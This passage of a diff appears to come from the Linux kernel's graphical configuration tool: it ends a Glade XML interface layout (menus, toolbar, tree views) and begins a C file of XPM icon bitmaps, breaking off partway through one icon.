<widget class="GtkVBox" id="vbox1">
|
||||
<property name="visible">True</property>
|
||||
<property name="homogeneous">False</property>
|
||||
<property name="spacing">0</property>
|
||||
|
||||
<child>
|
||||
<widget class="GtkMenuBar" id="menubar1">
|
||||
<property name="visible">True</property>
|
||||
|
||||
<child>
|
||||
<widget class="GtkMenuItem" id="file1">
|
||||
<property name="visible">True</property>
|
||||
<property name="label" translatable="yes">_File</property>
|
||||
<property name="use_underline">True</property>
|
||||
|
||||
<child>
|
||||
<widget class="GtkMenu" id="file1_menu">
|
||||
|
||||
<child>
|
||||
<widget class="GtkImageMenuItem" id="load1">
|
||||
<property name="visible">True</property>
|
||||
<property name="tooltip" translatable="yes">Load a config file</property>
|
||||
<property name="label" translatable="yes">_Load</property>
|
||||
<property name="use_underline">True</property>
|
||||
<signal name="activate" handler="on_load1_activate"/>
|
||||
<accelerator key="L" modifiers="GDK_CONTROL_MASK" signal="activate"/>
|
||||
|
||||
<child internal-child="image">
|
||||
<widget class="GtkImage" id="image39">
|
||||
<property name="visible">True</property>
|
||||
<property name="stock">gtk-open</property>
|
||||
<property name="icon_size">1</property>
|
||||
<property name="xalign">0.5</property>
|
||||
<property name="yalign">0.5</property>
|
||||
<property name="xpad">0</property>
|
||||
<property name="ypad">0</property>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkImageMenuItem" id="save1">
|
||||
<property name="visible">True</property>
|
||||
<property name="tooltip" translatable="yes">Save the config in .config</property>
|
||||
<property name="label" translatable="yes">_Save</property>
|
||||
<property name="use_underline">True</property>
|
||||
<signal name="activate" handler="on_save_activate"/>
|
||||
<accelerator key="S" modifiers="GDK_CONTROL_MASK" signal="activate"/>
|
||||
|
||||
<child internal-child="image">
|
||||
<widget class="GtkImage" id="image40">
|
||||
<property name="visible">True</property>
|
||||
<property name="stock">gtk-save</property>
|
||||
<property name="icon_size">1</property>
|
||||
<property name="xalign">0.5</property>
|
||||
<property name="yalign">0.5</property>
|
||||
<property name="xpad">0</property>
|
||||
<property name="ypad">0</property>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkImageMenuItem" id="save_as1">
|
||||
<property name="visible">True</property>
|
||||
<property name="tooltip" translatable="yes">Save the config in a file</property>
|
||||
<property name="label" translatable="yes">Save _as</property>
|
||||
<property name="use_underline">True</property>
|
||||
<signal name="activate" handler="on_save_as1_activate"/>
|
||||
|
||||
<child internal-child="image">
|
||||
<widget class="GtkImage" id="image41">
|
||||
<property name="visible">True</property>
|
||||
<property name="stock">gtk-save-as</property>
|
||||
<property name="icon_size">1</property>
|
||||
<property name="xalign">0.5</property>
|
||||
<property name="yalign">0.5</property>
|
||||
<property name="xpad">0</property>
|
||||
<property name="ypad">0</property>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkSeparatorMenuItem" id="separator1">
|
||||
<property name="visible">True</property>
|
||||
</widget>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkImageMenuItem" id="quit1">
|
||||
<property name="visible">True</property>
|
||||
<property name="label" translatable="yes">_Quit</property>
|
||||
<property name="use_underline">True</property>
|
||||
<signal name="activate" handler="on_quit1_activate"/>
|
||||
<accelerator key="Q" modifiers="GDK_CONTROL_MASK" signal="activate"/>
|
||||
|
||||
<child internal-child="image">
|
||||
<widget class="GtkImage" id="image42">
|
||||
<property name="visible">True</property>
|
||||
<property name="stock">gtk-quit</property>
|
||||
<property name="icon_size">1</property>
|
||||
<property name="xalign">0.5</property>
|
||||
<property name="yalign">0.5</property>
|
||||
<property name="xpad">0</property>
|
||||
<property name="ypad">0</property>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkMenuItem" id="options1">
|
||||
<property name="visible">True</property>
|
||||
<property name="label" translatable="yes">_Options</property>
|
||||
<property name="use_underline">True</property>
|
||||
|
||||
<child>
|
||||
<widget class="GtkMenu" id="options1_menu">
|
||||
|
||||
<child>
|
||||
<widget class="GtkCheckMenuItem" id="show_name1">
|
||||
<property name="visible">True</property>
|
||||
<property name="tooltip" translatable="yes">Show name</property>
|
||||
<property name="label" translatable="yes">Show _name</property>
|
||||
<property name="use_underline">True</property>
|
||||
<property name="active">False</property>
|
||||
<signal name="activate" handler="on_show_name1_activate"/>
|
||||
</widget>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkCheckMenuItem" id="show_range1">
|
||||
<property name="visible">True</property>
|
||||
<property name="tooltip" translatable="yes">Show range (Y/M/N)</property>
|
||||
<property name="label" translatable="yes">Show _range</property>
|
||||
<property name="use_underline">True</property>
|
||||
<property name="active">False</property>
|
||||
<signal name="activate" handler="on_show_range1_activate"/>
|
||||
</widget>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkCheckMenuItem" id="show_data1">
|
||||
<property name="visible">True</property>
|
||||
<property name="tooltip" translatable="yes">Show value of the option</property>
|
||||
<property name="label" translatable="yes">Show _data</property>
|
||||
<property name="use_underline">True</property>
|
||||
<property name="active">False</property>
|
||||
<signal name="activate" handler="on_show_data1_activate"/>
|
||||
</widget>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkSeparatorMenuItem" id="separator2">
|
||||
<property name="visible">True</property>
|
||||
</widget>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkRadioMenuItem" id="set_option_mode1">
|
||||
<property name="visible">True</property>
|
||||
<property name="tooltip" translatable="yes">Show normal options</property>
|
||||
<property name="label" translatable="yes">Show normal options</property>
|
||||
<property name="use_underline">True</property>
|
||||
<property name="active">True</property>
|
||||
<signal name="activate" handler="on_set_option_mode1_activate"/>
|
||||
</widget>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkRadioMenuItem" id="set_option_mode2">
|
||||
<property name="visible">True</property>
|
||||
<property name="tooltip" translatable="yes">Show all options</property>
|
||||
<property name="label" translatable="yes">Show all _options</property>
|
||||
<property name="use_underline">True</property>
|
||||
<property name="active">False</property>
|
||||
<property name="group">set_option_mode1</property>
|
||||
<signal name="activate" handler="on_set_option_mode2_activate"/>
|
||||
</widget>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkRadioMenuItem" id="set_option_mode3">
|
||||
<property name="visible">True</property>
|
||||
<property name="tooltip" translatable="yes">Show all options with prompts</property>
|
||||
<property name="label" translatable="yes">Show all prompt options</property>
|
||||
<property name="use_underline">True</property>
|
||||
<property name="active">False</property>
|
||||
<property name="group">set_option_mode1</property>
|
||||
<signal name="activate" handler="on_set_option_mode3_activate"/>
|
||||
</widget>
|
||||
</child>
|
||||
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkMenuItem" id="help1">
|
||||
<property name="visible">True</property>
|
||||
<property name="label" translatable="yes">_Help</property>
|
||||
<property name="use_underline">True</property>
|
||||
|
||||
<child>
|
||||
<widget class="GtkMenu" id="help1_menu">
|
||||
|
||||
<child>
|
||||
<widget class="GtkImageMenuItem" id="introduction1">
|
||||
<property name="visible">True</property>
|
||||
<property name="label" translatable="yes">_Introduction</property>
|
||||
<property name="use_underline">True</property>
|
||||
<signal name="activate" handler="on_introduction1_activate" last_modification_time="Fri, 15 Nov 2002 20:26:30 GMT"/>
|
||||
<accelerator key="I" modifiers="GDK_CONTROL_MASK" signal="activate"/>
|
||||
|
||||
<child internal-child="image">
|
||||
<widget class="GtkImage" id="image43">
|
||||
<property name="visible">True</property>
|
||||
<property name="stock">gtk-dialog-question</property>
|
||||
<property name="icon_size">1</property>
|
||||
<property name="xalign">0.5</property>
|
||||
<property name="yalign">0.5</property>
|
||||
<property name="xpad">0</property>
|
||||
<property name="ypad">0</property>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkImageMenuItem" id="about1">
|
||||
<property name="visible">True</property>
|
||||
<property name="label" translatable="yes">_About</property>
|
||||
<property name="use_underline">True</property>
|
||||
<signal name="activate" handler="on_about1_activate" last_modification_time="Fri, 15 Nov 2002 20:26:30 GMT"/>
|
||||
<accelerator key="A" modifiers="GDK_CONTROL_MASK" signal="activate"/>
|
||||
|
||||
<child internal-child="image">
|
||||
<widget class="GtkImage" id="image44">
|
||||
<property name="visible">True</property>
|
||||
<property name="stock">gtk-properties</property>
|
||||
<property name="icon_size">1</property>
|
||||
<property name="xalign">0.5</property>
|
||||
<property name="yalign">0.5</property>
|
||||
<property name="xpad">0</property>
|
||||
<property name="ypad">0</property>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkImageMenuItem" id="license1">
|
||||
<property name="visible">True</property>
|
||||
<property name="label" translatable="yes">_License</property>
|
||||
<property name="use_underline">True</property>
|
||||
<signal name="activate" handler="on_license1_activate" last_modification_time="Fri, 15 Nov 2002 20:26:30 GMT"/>
|
||||
|
||||
<child internal-child="image">
|
||||
<widget class="GtkImage" id="image45">
|
||||
<property name="visible">True</property>
|
||||
<property name="stock">gtk-justify-fill</property>
|
||||
<property name="icon_size">1</property>
|
||||
<property name="xalign">0.5</property>
|
||||
<property name="yalign">0.5</property>
|
||||
<property name="xpad">0</property>
|
||||
<property name="ypad">0</property>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
<packing>
|
||||
<property name="padding">0</property>
|
||||
<property name="expand">False</property>
|
||||
<property name="fill">False</property>
|
||||
</packing>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkHandleBox" id="handlebox1">
|
||||
<property name="visible">True</property>
|
||||
<property name="shadow_type">GTK_SHADOW_OUT</property>
|
||||
<property name="handle_position">GTK_POS_LEFT</property>
|
||||
<property name="snap_edge">GTK_POS_TOP</property>
|
||||
|
||||
<child>
|
||||
<widget class="GtkToolbar" id="toolbar1">
|
||||
<property name="visible">True</property>
|
||||
<property name="orientation">GTK_ORIENTATION_HORIZONTAL</property>
|
||||
<property name="toolbar_style">GTK_TOOLBAR_BOTH</property>
|
||||
<property name="tooltips">True</property>
|
||||
<property name="show_arrow">True</property>
|
||||
|
||||
<child>
|
||||
<widget class="GtkToolButton" id="button1">
|
||||
<property name="visible">True</property>
|
||||
<property name="tooltip" translatable="yes">Goes up of one level (single view)</property>
|
||||
<property name="label" translatable="yes">Back</property>
|
||||
<property name="use_underline">True</property>
|
||||
<property name="stock_id">gtk-undo</property>
|
||||
<property name="visible_horizontal">True</property>
|
||||
<property name="visible_vertical">True</property>
|
||||
<property name="is_important">False</property>
|
||||
<signal name="clicked" handler="on_back_clicked"/>
|
||||
</widget>
|
||||
<packing>
|
||||
<property name="expand">False</property>
|
||||
<property name="homogeneous">True</property>
|
||||
</packing>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkToolItem" id="toolitem1">
|
||||
<property name="visible">True</property>
|
||||
<property name="visible_horizontal">True</property>
|
||||
<property name="visible_vertical">True</property>
|
||||
<property name="is_important">False</property>
|
||||
|
||||
<child>
|
||||
<widget class="GtkVSeparator" id="vseparator1">
|
||||
<property name="visible">True</property>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
<packing>
|
||||
<property name="expand">False</property>
|
||||
<property name="homogeneous">False</property>
|
||||
</packing>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkToolButton" id="button2">
|
||||
<property name="visible">True</property>
|
||||
<property name="tooltip" translatable="yes">Load a config file</property>
|
||||
<property name="label" translatable="yes">Load</property>
|
||||
<property name="use_underline">True</property>
|
||||
<property name="stock_id">gtk-open</property>
|
||||
<property name="visible_horizontal">True</property>
|
||||
<property name="visible_vertical">True</property>
|
||||
<property name="is_important">False</property>
|
||||
<signal name="clicked" handler="on_load_clicked"/>
|
||||
</widget>
|
||||
<packing>
|
||||
<property name="expand">False</property>
|
||||
<property name="homogeneous">True</property>
|
||||
</packing>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkToolButton" id="button3">
|
||||
<property name="visible">True</property>
|
||||
<property name="tooltip" translatable="yes">Save a config file</property>
|
||||
<property name="label" translatable="yes">Save</property>
|
||||
<property name="use_underline">True</property>
|
||||
<property name="stock_id">gtk-save</property>
|
||||
<property name="visible_horizontal">True</property>
|
||||
<property name="visible_vertical">True</property>
|
||||
<property name="is_important">False</property>
|
||||
<signal name="clicked" handler="on_save_activate"/>
|
||||
</widget>
|
||||
<packing>
|
||||
<property name="expand">False</property>
|
||||
<property name="homogeneous">True</property>
|
||||
</packing>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkToolItem" id="toolitem2">
|
||||
<property name="visible">True</property>
|
||||
<property name="visible_horizontal">True</property>
|
||||
<property name="visible_vertical">True</property>
|
||||
<property name="is_important">False</property>
|
||||
|
||||
<child>
|
||||
<widget class="GtkVSeparator" id="vseparator2">
|
||||
<property name="visible">True</property>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
<packing>
|
||||
<property name="expand">False</property>
|
||||
<property name="homogeneous">False</property>
|
||||
</packing>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkToolButton" id="button4">
|
||||
<property name="visible">True</property>
|
||||
<property name="tooltip" translatable="yes">Single view</property>
|
||||
<property name="label" translatable="yes">Single</property>
|
||||
<property name="use_underline">True</property>
|
||||
<property name="stock_id">gtk-missing-image</property>
|
||||
<property name="visible_horizontal">True</property>
|
||||
<property name="visible_vertical">True</property>
|
||||
<property name="is_important">False</property>
|
||||
<signal name="clicked" handler="on_single_clicked" last_modification_time="Sun, 12 Jan 2003 14:28:39 GMT"/>
|
||||
</widget>
|
||||
<packing>
|
||||
<property name="expand">False</property>
|
||||
<property name="homogeneous">True</property>
|
||||
</packing>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkToolButton" id="button5">
|
||||
<property name="visible">True</property>
|
||||
<property name="tooltip" translatable="yes">Split view</property>
|
||||
<property name="label" translatable="yes">Split</property>
|
||||
<property name="use_underline">True</property>
|
||||
<property name="stock_id">gtk-missing-image</property>
|
||||
<property name="visible_horizontal">True</property>
|
||||
<property name="visible_vertical">True</property>
|
||||
<property name="is_important">False</property>
|
||||
<signal name="clicked" handler="on_split_clicked" last_modification_time="Sun, 12 Jan 2003 14:28:45 GMT"/>
|
||||
</widget>
|
||||
<packing>
|
||||
<property name="expand">False</property>
|
||||
<property name="homogeneous">True</property>
|
||||
</packing>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkToolButton" id="button6">
|
||||
<property name="visible">True</property>
|
||||
<property name="tooltip" translatable="yes">Full view</property>
|
||||
<property name="label" translatable="yes">Full</property>
|
||||
<property name="use_underline">True</property>
|
||||
<property name="stock_id">gtk-missing-image</property>
|
||||
<property name="visible_horizontal">True</property>
|
||||
<property name="visible_vertical">True</property>
|
||||
<property name="is_important">False</property>
|
||||
<signal name="clicked" handler="on_full_clicked" last_modification_time="Sun, 12 Jan 2003 14:28:50 GMT"/>
|
||||
</widget>
|
||||
<packing>
|
||||
<property name="expand">False</property>
|
||||
<property name="homogeneous">True</property>
|
||||
</packing>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkToolItem" id="toolitem3">
|
||||
<property name="visible">True</property>
|
||||
<property name="visible_horizontal">True</property>
|
||||
<property name="visible_vertical">True</property>
|
||||
<property name="is_important">False</property>
|
||||
|
||||
<child>
|
||||
<widget class="GtkVSeparator" id="vseparator3">
|
||||
<property name="visible">True</property>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
<packing>
|
||||
<property name="expand">False</property>
|
||||
<property name="homogeneous">False</property>
|
||||
</packing>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkToolButton" id="button7">
|
||||
<property name="visible">True</property>
|
||||
<property name="tooltip" translatable="yes">Collapse the whole tree in the right frame</property>
|
||||
<property name="label" translatable="yes">Collapse</property>
|
||||
<property name="use_underline">True</property>
|
||||
<property name="stock_id">gtk-remove</property>
|
||||
<property name="visible_horizontal">True</property>
|
||||
<property name="visible_vertical">True</property>
|
||||
<property name="is_important">False</property>
|
||||
<signal name="clicked" handler="on_collapse_clicked"/>
|
||||
</widget>
|
||||
<packing>
|
||||
<property name="expand">False</property>
|
||||
<property name="homogeneous">True</property>
|
||||
</packing>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkToolButton" id="button8">
|
||||
<property name="visible">True</property>
|
||||
<property name="tooltip" translatable="yes">Expand the whole tree in the right frame</property>
|
||||
<property name="label" translatable="yes">Expand</property>
|
||||
<property name="use_underline">True</property>
|
||||
<property name="stock_id">gtk-add</property>
|
||||
<property name="visible_horizontal">True</property>
|
||||
<property name="visible_vertical">True</property>
|
||||
<property name="is_important">False</property>
|
||||
<signal name="clicked" handler="on_expand_clicked"/>
|
||||
</widget>
|
||||
<packing>
|
||||
<property name="expand">False</property>
|
||||
<property name="homogeneous">True</property>
|
||||
</packing>
|
||||
</child>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
<packing>
|
||||
<property name="padding">0</property>
|
||||
<property name="expand">False</property>
|
||||
<property name="fill">False</property>
|
||||
</packing>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkHPaned" id="hpaned1">
|
||||
<property name="width_request">1</property>
|
||||
<property name="visible">True</property>
|
||||
<property name="can_focus">True</property>
|
||||
<property name="position">0</property>
|
||||
|
||||
<child>
|
||||
<widget class="GtkScrolledWindow" id="scrolledwindow1">
|
||||
<property name="visible">True</property>
|
||||
<property name="hscrollbar_policy">GTK_POLICY_AUTOMATIC</property>
|
||||
<property name="vscrollbar_policy">GTK_POLICY_AUTOMATIC</property>
|
||||
<property name="shadow_type">GTK_SHADOW_IN</property>
|
||||
<property name="window_placement">GTK_CORNER_TOP_LEFT</property>
|
||||
|
||||
<child>
|
||||
<widget class="GtkTreeView" id="treeview1">
|
||||
<property name="visible">True</property>
|
||||
<property name="can_focus">True</property>
|
||||
<property name="headers_visible">True</property>
|
||||
<property name="rules_hint">False</property>
|
||||
<property name="reorderable">False</property>
|
||||
<property name="enable_search">False</property>
|
||||
<signal name="cursor_changed" handler="on_treeview2_cursor_changed" last_modification_time="Sun, 12 Jan 2003 15:58:22 GMT"/>
|
||||
<signal name="button_press_event" handler="on_treeview1_button_press_event" last_modification_time="Sun, 12 Jan 2003 16:03:52 GMT"/>
|
||||
<signal name="key_press_event" handler="on_treeview2_key_press_event" last_modification_time="Sun, 12 Jan 2003 16:11:44 GMT"/>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
<packing>
|
||||
<property name="shrink">True</property>
|
||||
<property name="resize">False</property>
|
||||
</packing>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkVPaned" id="vpaned1">
|
||||
<property name="visible">True</property>
|
||||
<property name="can_focus">True</property>
|
||||
<property name="position">0</property>
|
||||
|
||||
<child>
|
||||
<widget class="GtkScrolledWindow" id="scrolledwindow2">
|
||||
<property name="visible">True</property>
|
||||
<property name="hscrollbar_policy">GTK_POLICY_AUTOMATIC</property>
|
||||
<property name="vscrollbar_policy">GTK_POLICY_AUTOMATIC</property>
|
||||
<property name="shadow_type">GTK_SHADOW_IN</property>
|
||||
<property name="window_placement">GTK_CORNER_TOP_LEFT</property>
|
||||
|
||||
<child>
|
||||
<widget class="GtkTreeView" id="treeview2">
|
||||
<property name="visible">True</property>
|
||||
<property name="can_focus">True</property>
|
||||
<property name="has_focus">True</property>
|
||||
<property name="headers_visible">True</property>
|
||||
<property name="rules_hint">False</property>
|
||||
<property name="reorderable">False</property>
|
||||
<property name="enable_search">False</property>
|
||||
<signal name="cursor_changed" handler="on_treeview2_cursor_changed" last_modification_time="Sun, 12 Jan 2003 15:57:55 GMT"/>
|
||||
<signal name="button_press_event" handler="on_treeview2_button_press_event" last_modification_time="Sun, 12 Jan 2003 15:57:58 GMT"/>
|
||||
<signal name="key_press_event" handler="on_treeview2_key_press_event" last_modification_time="Sun, 12 Jan 2003 15:58:01 GMT"/>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
<packing>
|
||||
<property name="shrink">True</property>
|
||||
<property name="resize">False</property>
|
||||
</packing>
|
||||
</child>
|
||||
|
||||
<child>
|
||||
<widget class="GtkScrolledWindow" id="scrolledwindow3">
|
||||
<property name="visible">True</property>
|
||||
<property name="hscrollbar_policy">GTK_POLICY_NEVER</property>
|
||||
<property name="vscrollbar_policy">GTK_POLICY_AUTOMATIC</property>
|
||||
<property name="shadow_type">GTK_SHADOW_IN</property>
|
||||
<property name="window_placement">GTK_CORNER_TOP_LEFT</property>
|
||||
|
||||
<child>
|
||||
<widget class="GtkTextView" id="textview3">
|
||||
<property name="visible">True</property>
|
||||
<property name="can_focus">True</property>
|
||||
<property name="editable">False</property>
|
||||
<property name="overwrite">False</property>
|
||||
<property name="accepts_tab">True</property>
|
||||
<property name="justification">GTK_JUSTIFY_LEFT</property>
|
||||
<property name="wrap_mode">GTK_WRAP_WORD</property>
|
||||
<property name="cursor_visible">True</property>
|
||||
<property name="pixels_above_lines">0</property>
|
||||
<property name="pixels_below_lines">0</property>
|
||||
<property name="pixels_inside_wrap">0</property>
|
||||
<property name="left_margin">0</property>
|
||||
<property name="right_margin">0</property>
|
||||
<property name="indent">0</property>
|
||||
<property name="text" translatable="yes">Sorry, no help available for this option yet.</property>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
<packing>
|
||||
<property name="shrink">True</property>
|
||||
<property name="resize">True</property>
|
||||
</packing>
|
||||
</child>
|
||||
</widget>
|
||||
<packing>
|
||||
<property name="shrink">True</property>
|
||||
<property name="resize">True</property>
|
||||
</packing>
|
||||
</child>
|
||||
</widget>
|
||||
<packing>
|
||||
<property name="padding">0</property>
|
||||
<property name="expand">True</property>
|
||||
<property name="fill">True</property>
|
||||
</packing>
|
||||
</child>
|
||||
</widget>
|
||||
</child>
|
||||
</widget>
|
||||
|
||||
</glade-interface>
|
@ -0,0 +1,326 @@
|
||||
/*
|
||||
* Copyright (C) 2002 Roman Zippel <zippel@linux-m68k.org>
|
||||
* Released under the terms of the GNU GPL v2.0.
|
||||
*/
|
||||
|
||||
static const char *xpm_load[] = {
|
||||
"22 22 5 1",
|
||||
". c None",
|
||||
"# c #000000",
|
||||
"c c #838100",
|
||||
"a c #ffff00",
|
||||
"b c #ffffff",
|
||||
"......................",
|
||||
"......................",
|
||||
"......................",
|
||||
"............####....#.",
|
||||
"...........#....##.##.",
|
||||
"..................###.",
|
||||
".................####.",
|
||||
".####...........#####.",
|
||||
"#abab##########.......",
|
||||
"#babababababab#.......",
|
||||
"#ababababababa#.......",
|
||||
"#babababababab#.......",
|
||||
"#ababab###############",
|
||||
"#babab##cccccccccccc##",
|
||||
"#abab##cccccccccccc##.",
|
||||
"#bab##cccccccccccc##..",
|
||||
"#ab##cccccccccccc##...",
|
||||
"#b##cccccccccccc##....",
|
||||
"###cccccccccccc##.....",
|
||||
"##cccccccccccc##......",
|
||||
"###############.......",
|
||||
"......................"};
|
||||
|
||||
static const char *xpm_save[] = {
|
||||
"22 22 5 1",
|
||||
". c None",
|
||||
"# c #000000",
|
||||
"a c #838100",
|
||||
"b c #c5c2c5",
|
||||
"c c #cdb6d5",
|
||||
"......................",
|
||||
".####################.",
|
||||
".#aa#bbbbbbbbbbbb#bb#.",
|
||||
".#aa#bbbbbbbbbbbb#bb#.",
|
||||
".#aa#bbbbbbbbbcbb####.",
|
||||
".#aa#bbbccbbbbbbb#aa#.",
|
||||
".#aa#bbbccbbbbbbb#aa#.",
|
||||
".#aa#bbbbbbbbbbbb#aa#.",
|
||||
".#aa#bbbbbbbbbbbb#aa#.",
|
||||
".#aa#bbbbbbbbbbbb#aa#.",
|
||||
".#aa#bbbbbbbbbbbb#aa#.",
|
||||
".#aaa############aaa#.",
|
||||
".#aaaaaaaaaaaaaaaaaa#.",
|
||||
".#aaaaaaaaaaaaaaaaaa#.",
|
||||
".#aaa#############aa#.",
|
||||
".#aaa#########bbb#aa#.",
|
||||
".#aaa#########bbb#aa#.",
|
||||
".#aaa#########bbb#aa#.",
|
||||
".#aaa#########bbb#aa#.",
|
||||
".#aaa#########bbb#aa#.",
|
||||
"..##################..",
|
||||
"......................"};
|
||||
|
||||
static const char *xpm_back[] = {
|
||||
"22 22 3 1",
|
||||
". c None",
|
||||
"# c #000083",
|
||||
"a c #838183",
|
||||
"......................",
|
||||
"......................",
|
||||
"......................",
|
||||
"......................",
|
||||
"......................",
|
||||
"...........######a....",
|
||||
"..#......##########...",
|
||||
"..##...####......##a..",
|
||||
"..###.###.........##..",
|
||||
"..######..........##..",
|
||||
"..#####...........##..",
|
||||
"..######..........##..",
|
||||
"..#######.........##..",
|
||||
"..########.......##a..",
|
||||
"...............a###...",
|
||||
"...............###....",
|
||||
"......................",
|
||||
"......................",
|
||||
"......................",
|
||||
"......................",
|
||||
"......................",
|
||||
"......................"};
|
||||
|
||||
static const char *xpm_tree_view[] = {
|
||||
"22 22 2 1",
|
||||
". c None",
|
||||
"# c #000000",
|
||||
"......................",
|
||||
"......................",
|
||||
"......#...............",
|
||||
"......#...............",
|
||||
"......#...............",
|
||||
"......#...............",
|
||||
"......#...............",
|
||||
"......########........",
|
||||
"......#...............",
|
||||
"......#...............",
|
||||
"......#...............",
|
||||
"......#...............",
|
||||
"......#...............",
|
||||
"......########........",
|
||||
"......#...............",
|
||||
"......#...............",
|
||||
"......#...............",
|
||||
"......#...............",
|
||||
"......#...............",
|
||||
"......########........",
|
||||
"......................",
|
||||
"......................"};
|
||||
|
||||
static const char *xpm_single_view[] = {
|
||||
"22 22 2 1",
|
||||
". c None",
|
||||
"# c #000000",
|
||||
"......................",
|
||||
"......................",
|
||||
"..........#...........",
|
||||
"..........#...........",
|
||||
"..........#...........",
|
||||
"..........#...........",
|
||||
"..........#...........",
|
||||
"..........#...........",
|
||||
"..........#...........",
|
||||
"..........#...........",
|
||||
"..........#...........",
|
||||
"..........#...........",
|
||||
"..........#...........",
|
||||
"..........#...........",
|
||||
"..........#...........",
|
||||
"..........#...........",
|
||||
"..........#...........",
|
||||
"..........#...........",
|
||||
"..........#...........",
|
||||
"..........#...........",
|
||||
"......................",
|
||||
"......................"};
|
||||
|
||||
static const char *xpm_split_view[] = {
|
||||
"22 22 2 1",
|
||||
". c None",
|
||||
"# c #000000",
|
||||
"......................",
|
||||
"......................",
|
||||
"......#......#........",
|
||||
"......#......#........",
|
||||
"......#......#........",
|
||||
"......#......#........",
|
||||
"......#......#........",
|
||||
"......#......#........",
|
||||
"......#......#........",
|
||||
"......#......#........",
|
||||
"......#......#........",
|
||||
"......#......#........",
|
||||
"......#......#........",
|
||||
"......#......#........",
|
||||
"......#......#........",
|
||||
"......#......#........",
|
||||
"......#......#........",
|
||||
"......#......#........",
|
||||
"......#......#........",
|
||||
"......#......#........",
|
||||
"......................",
|
||||
"......................"};
|
||||
|
||||
static const char *xpm_symbol_no[] = {
|
||||
"12 12 2 1",
|
||||
" c white",
|
||||
". c black",
|
||||
" ",
|
||||
" .......... ",
|
||||
" . . ",
|
||||
" . . ",
|
||||
" . . ",
|
||||
" . . ",
|
||||
" . . ",
|
||||
" . . ",
|
||||
" . . ",
|
||||
" . . ",
|
||||
" .......... ",
|
||||
" "};
|
||||
|
||||
static const char *xpm_symbol_mod[] = {
|
||||
"12 12 2 1",
|
||||
" c white",
|
||||
". c black",
|
||||
" ",
|
||||
" .......... ",
|
||||
" . . ",
|
||||
" . . ",
|
||||
" . .. . ",
|
||||
" . .... . ",
|
||||
" . .... . ",
|
||||
" . .. . ",
|
||||
" . . ",
|
||||
" . . ",
|
||||
" .......... ",
|
||||
" "};
|
||||
|
||||
static const char *xpm_symbol_yes[] = {
|
||||
"12 12 2 1",
|
||||
" c white",
|
||||
". c black",
|
||||
" ",
|
||||
" .......... ",
|
||||
" . . ",
|
||||
" . . ",
|
||||
" . . . ",
|
||||
" . .. . ",
|
||||
" . . .. . ",
|
||||
" . .... . ",
|
||||
" . .. . ",
|
||||
" . . ",
|
||||
" .......... ",
|
||||
" "};
|
||||
|
||||
static const char *xpm_choice_no[] = {
|
||||
"12 12 2 1",
|
||||
" c white",
|
||||
". c black",
|
||||
" ",
|
||||
" .... ",
|
||||
" .. .. ",
|
||||
" . . ",
|
||||
" . . ",
|
||||
" . . ",
|
||||
" . . ",
|
||||
" . . ",
|
||||
" . . ",
|
||||
" .. .. ",
|
||||
" .... ",
|
||||
" "};
|
||||
|
||||
static const char *xpm_choice_yes[] = {
|
||||
"12 12 2 1",
|
||||
" c white",
|
||||
". c black",
|
||||
" ",
|
||||
" .... ",
|
||||
" .. .. ",
|
||||
" . . ",
|
||||
" . .. . ",
|
||||
" . .... . ",
|
||||
" . .... . ",
|
||||
" . .. . ",
|
||||
" . . ",
|
||||
" .. .. ",
|
||||
" .... ",
|
||||
" "};
|
||||
|
||||
static const char *xpm_menu[] = {
|
||||
"12 12 2 1",
|
||||
" c white",
|
||||
". c black",
|
||||
" ",
|
||||
" .......... ",
|
||||
" . . ",
|
||||
" . .. . ",
|
||||
" . .... . ",
|
||||
" . ...... . ",
|
||||
" . ...... . ",
|
||||
" . .... . ",
|
||||
" . .. . ",
